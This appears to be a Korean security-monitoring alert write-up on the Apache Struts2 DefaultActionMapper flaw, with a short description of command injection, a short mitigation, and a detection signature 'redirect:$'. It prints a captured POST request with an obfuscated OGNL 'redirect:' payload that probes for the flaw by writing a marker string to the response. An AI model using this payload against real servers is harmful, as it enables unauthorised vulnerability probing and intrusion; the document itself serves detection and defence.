[보안관제] Apache Struts2 DefaltActionMapper Vulnerability

공격설명

웹어플리케이션에서 쿼리가 전송되는 곳에 시스템 명령어를 허용하여 삽입되는 공격기법으로 취약한 어플리케이션의 경우 서버의 시스템 명령어가 웹상에서 실행되어 지기도 합니다. 취약한 어플리케이션의 경우 공격자는 아래의 명령어를 시스템상에 입력하여 결과값을 얻어내기도 합니다.

 

공격구문

POST / HTTP/1.1
host: 
Accept-Encoding: gzip, deflate
Accept-Language: zh_CN
CloudFront-Forwarded-Proto: hxxp
CloudFront-Is-Desktop-Viewer: true
CloudFront-Is-Mobile-Viewer: false
CloudFront-Is-SmartTV-Viewer: false
CloudFront-Is-Tablet-Viewer: false
CloudFront-Viewer-ASN: 137697
CloudFront-Viewer-Country: CN
Content-Type: application/x-www-form-urlencoded
User-Agent: Auto Spider 1.0
Via: 1.1 703d8189eecba19920d4f049a6c8c1c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: zkF9VA2ix11oioC9GwpbwLGqPys_zGHOxp_kClscEII_e8AUy8EOPg==
X-Forwarded-For: 180.97.189.139, 130.176.48.76
X-Forwarded-Port: 80
X-Forwarded-Proto: hxxp
Content-Length: 479
Connection: keep-alive
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#resp.getWriter().print("struts2_security_"),#resp.getWriter().print("check"),#resp.getWriter().flush(),#resp.getWriter().close()}

 

탐지근거

redirect:$

 

Solution
인가없이 직접적인 요청으로 들어와지는 파일에 대해서는 검증이 필요합니다. 시스템 파일의 경우에는 웹어플리케이션과 직접적인 영향이 없으므로 관련 키워드를 필터링하거나 또는 접근자체가 차단되어야 합니다.